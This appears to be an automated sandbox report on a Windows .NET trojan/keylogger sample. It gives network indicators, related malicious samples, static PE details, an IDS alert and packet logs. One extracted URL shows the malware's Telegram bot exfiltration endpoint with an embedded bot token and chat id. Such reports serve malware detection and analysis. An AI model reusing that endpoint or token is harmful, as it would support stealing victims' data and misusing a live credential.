Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram	0OZQi3b0tM.exe, 00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org4	0OZQi3b0tM.exe, 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	0OZQi3b0tM.exe	false		high
http://api.telegram.org	0OZQi3b0tM.exe, 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0OZQi3b0tM.exe, 00000000.00000002.737020624.0000000002821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgD8	0OZQi3b0tM.exe, 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	0OZQi3b0tM.exe	false	URL Reputation: safe	unknown
https://api.telegram.org/bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856	0OZQi3b0tM.exe, 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
193.122.130.0	checkip.dyndns.com	United States		31898	ORACLE-BMC-31898US	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	652382
Start date and time: 26/06/202209:31:06	2022-06-26 09:31:06 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0OZQi3b0tM.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@4/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 0.5% (good quality ratio 0.5%) Quality average: 57.3% Quality standard deviation: 30.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 61 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, licensing.mp.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:32:26	API Interceptor	2x Sleep call for process: 0OZQi3b0tM.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
149.154.167.220	Inquiry.exe	Get hash	malicious	Browse
	SWIFT.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.32445.exe	Get hash	malicious	Browse
	Quote - QTY569008006.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.9938.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.16376.exe	Get hash	malicious	Browse
	doc202206230400400302202.exe	Get hash	malicious	Browse
	UPDATED SOA.exe	Get hash	malicious	Browse
	love.exe	Get hash	malicious	Browse
	Halkbank_Ekstre_230622_073809_405251.exe	Get hash	malicious	Browse
	SecuriteInfo.com.VHO.Trojan.Win32.Shelsy.gen.29715.exe	Get hash	malicious	Browse
	T3yEmiknvv.exe	Get hash	malicious	Browse
	gqyMDfZZ4K.exe	Get hash	malicious	Browse
	INV 1337.exe	Get hash	malicious	Browse
	UCBank98765433456789987654.exe	Get hash	malicious	Browse
	RFQ 10050395.exe	Get hash	malicious	Browse
	hesap ekstresi_22-06-2022.doc.exe	Get hash	malicious	Browse
	PO-2023831.exe	Get hash	malicious	Browse
	scan 100928272.exe	Get hash	malicious	Browse
	Pagamento SEPA_tansfer_220622_Swift.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.telegram.org	Inquiry.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.32445.exe	Get hash	malicious	Browse	149.154.167.220
	Quote - QTY569008006.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.9938.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.16376.exe	Get hash	malicious	Browse	149.154.167.220
	doc202206230400400302202.exe	Get hash	malicious	Browse	149.154.167.220
	Lanskoy.exe.exe	Get hash	malicious	Browse	149.154.167.220
	UPDATED SOA.exe	Get hash	malicious	Browse	149.154.167.220
	love.exe	Get hash	malicious	Browse	149.154.167.220
	Halkbank_Ekstre_230622_073809_405251.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.VHO.Trojan.Win32.Shelsy.gen.29715.exe	Get hash	malicious	Browse	149.154.167.220
	T3yEmiknvv.exe	Get hash	malicious	Browse	149.154.167.220
	gqyMDfZZ4K.exe	Get hash	malicious	Browse	149.154.167.220
	INV 1337.exe	Get hash	malicious	Browse	149.154.167.220
	UCBank98765433456789987654.exe	Get hash	malicious	Browse	149.154.167.220
	RFQ 10050395.exe	Get hash	malicious	Browse	149.154.167.220
	hesap ekstresi_22-06-2022.doc.exe	Get hash	malicious	Browse	149.154.167.220
	PO-2023831.exe	Get hash	malicious	Browse	149.154.167.220
	scan 100928272.exe	Get hash	malicious	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	70Ac7SgkUW.exe	Get hash	malicious	Browse	149.154.167.99
	SWosEtYBme.exe	Get hash	malicious	Browse	149.154.167.99
	Inquiry.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT.exe	Get hash	malicious	Browse	149.154.167.220
	Ox35UIhSO5.exe	Get hash	malicious	Browse	149.154.167.99
	sgjZTw5PWl.exe	Get hash	malicious	Browse	149.154.167.99
	Jke5jTAlnV.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.W32.AIDetectNet.01.32445.exe	Get hash	malicious	Browse	149.154.167.220
	Quote - QTY569008006.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.9938.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.16376.exe	Get hash	malicious	Browse	149.154.167.220
	doc202206230400400302202.exe	Get hash	malicious	Browse	149.154.167.220
	UPDATED SOA.exe	Get hash	malicious	Browse	149.154.167.220
	love.exe	Get hash	malicious	Browse	149.154.167.220
	Halkbank_Ekstre_230622_073809_405251.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.VHO.Trojan.Win32.Shelsy.gen.29715.exe	Get hash	malicious	Browse	149.154.167.220
	T3yEmiknvv.exe	Get hash	malicious	Browse	149.154.167.220
	gqyMDfZZ4K.exe	Get hash	malicious	Browse	149.154.167.220
	buildz.exe	Get hash	malicious	Browse	149.154.167.99
	INV 1337.exe	Get hash	malicious	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Start.exe	Get hash	malicious	Browse	149.154.167.220
	UniMod+.exe	Get hash	malicious	Browse	149.154.167.220
	UniMod+.exe	Get hash	malicious	Browse	149.154.167.220
	Nitro Gen 6.6v.exe	Get hash	malicious	Browse	149.154.167.220
	QuotationCatalogProduct.exe	Get hash	malicious	Browse	149.154.167.220
	Swift Copy.exe	Get hash	malicious	Browse	149.154.167.220
	Cnxsc.exe	Get hash	malicious	Browse	149.154.167.220
	New Europe RFQ & Samples for June-2022_Purchase_0622.exe	Get hash	malicious	Browse	149.154.167.220
	854F1E97-5DBB-4A87-A566-33D9012B05E2 pdf.exe	Get hash	malicious	Browse	149.154.167.220
	https://app.newsatme.com/emt/ses/814/66gez683byi01p3j04k172i1212507077212db45/click?url=https%3A%2F%2Flnkd%2Ein%2Fezmxaa%2DR%23BI5R6zr3!terminal41@carrytransit.com&3LKSJ21TE_Z65463UVZ0J3NGZBSE&c=E,1,hCIjm9RGTSK_i7GXlLBSe7dS3wCMh8SLOLaO3NpTZVwu8LTWyCRRZ3zyGwibv-5y8YSV_DOoqF56AVXYFRY1mEseE-Jh4O-mBgbwdSDPlFhv7od8dgXVJ5OwC6s,&typo=1	Get hash	malicious	Browse	149.154.167.220
	Inquiry.exe	Get hash	malicious	Browse	149.154.167.220
	SWIFT.exe	Get hash	malicious	Browse	149.154.167.220
	File.exe	Get hash	malicious	Browse	149.154.167.220
	854F1E97-5DBB-4A87-A566-33D9012B05E2 pdf.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.32445.exe	Get hash	malicious	Browse	149.154.167.220
	Invoice.exe	Get hash	malicious	Browse	149.154.167.220
	Ouicbvpfj.exe	Get hash	malicious	Browse	149.154.167.220
	Quote - QTY569008006.exe	Get hash	malicious	Browse	149.154.167.220
	New RFQ & Samples for June-2022_Purchases_0622.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.W32.AIDetectNet.01.9938.exe	Get hash	malicious	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.825310298922626
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	0OZQi3b0tM.exe
File size:	129537
MD5:	a90c091abded4a4f763de7537f569167
SHA1:	9394b05c2d518ee5d75fb030f2dca6d15c44bf0a
SHA256:	653b29296dcc50bfb59898d3ba38748b1c484701079ccc85f45bd2c0e4ecbe3e
SHA512:	c79ec6d2af2b415d706c501ec746db4f535c74699382e1ccb72490b5b9153ed8c0b527bec61cce09ae2fbcc934c7b212ff101c0e447f7051bfc26c4120b7e4c4
SSDEEP:	3072:gFlAi/smc7Rkw3HTCnnnnnnnnnnnnnnnnnn9b8GOswBn7FbY8:crkIb4hbN
TLSH:	E5C3061D3BF88904E6FE8A7306B14211CBB5F952095ACD1D1AC1F8592A7D780DE1BFA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....hb..............P.................. ... ....@.. .......................`............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x42039e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x626883A2 [Tue Apr 26 23:43:30 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2034c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x22000	0x10a7	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1e3a4	0x1e400	False	0.353515625	data	5.839230413440738	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x22000	0x10a7	0x1200	False	0.3615451388888889	data	4.880851013817396	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x24000	0xc	0x200	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x220a0	0x3ac	data
RT_MANIFEST	0x2244c	0xc5b	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5193.122.130.049746802842536 06/26/22-09:32:22.672654	TCP	2842536	ETPRO TROJAN 404/Snake/Matiex Keylogger Style External IP Check	49746	80	192.168.2.5	193.122.130.0

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:32:22.561532974 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:32:22.672110081 CEST	80	49746	193.122.130.0	192.168.2.5
Jun 26, 2022 09:32:22.672224045 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:32:22.672653913 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:32:22.783502102 CEST	80	49746	193.122.130.0	192.168.2.5
Jun 26, 2022 09:32:22.784780025 CEST	80	49746	193.122.130.0	192.168.2.5
Jun 26, 2022 09:32:22.833494902 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:32:24.730010033 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:24.730082035 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:24.730184078 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:24.781352043 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:24.781409025 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:24.853692055 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:24.853822947 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:24.857400894 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:24.857429028 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:24.857749939 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:24.911766052 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:25.311224937 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:25.356656075 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:25.356762886 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:25.356782913 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:25.676865101 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:25.676970005 CEST	443	49759	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:25.677052975 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:25.678920031 CEST	49759	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.361953020 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.361998081 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:38.362095118 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.363138914 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.363159895 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:38.419811964 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:38.456655025 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.456685066 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:38.457139969 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:38.457151890 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.066467047 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.066574097 CEST	443	49769	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.066696882 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.067785025 CEST	49769	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.092293978 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.092344046 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.092494965 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.093384027 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.093400955 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.150325060 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.154371977 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.154416084 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.154561043 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.154573917 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.463474989 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.463581085 CEST	443	49770	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.463696957 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.465049982 CEST	49770	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.467402935 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.467488050 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.467686892 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.468652964 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.468686104 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.525685072 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.529802084 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.529839039 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.529979944 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.529993057 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.891726017 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.891838074 CEST	443	49771	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.891932011 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.893026114 CEST	49771	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.895248890 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.895297050 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.895446062 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.896065950 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.896085978 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.955374002 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.969228983 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.969271898 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:39.969391108 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:39.969408035 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.266973972 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.267072916 CEST	443	49772	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.267184019 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.295578003 CEST	49772	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.297687054 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.297743082 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.297837973 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.298846960 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.298886061 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.358182907 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.362586021 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.362639904 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.362776041 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.362785101 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.689845085 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.689954042 CEST	443	49773	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.690109015 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.691152096 CEST	49773	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.693145990 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.693183899 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.693341017 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.694036961 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.694060087 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.750792980 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.754699945 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.754740000 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:40.755048037 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:40.755059004 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.083662033 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.083739996 CEST	443	49774	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.083811998 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.084958076 CEST	49774	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.087241888 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.087280989 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.087393045 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.088036060 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.088053942 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.144416094 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.155493021 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.155528069 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.155738115 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.155749083 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.461046934 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.461148977 CEST	443	49775	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.461266994 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.462428093 CEST	49775	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.464664936 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.464708090 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.464809895 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.485667944 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.485709906 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.544660091 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.548024893 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.548068047 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.548192978 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.548211098 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.859627962 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.859733105 CEST	443	49776	149.154.167.220	192.168.2.5
Jun 26, 2022 09:32:41.859806061 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.860676050 CEST	49776	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:32:41.862319946 CEST	49777	443	192.168.2.5	149.154.167.220
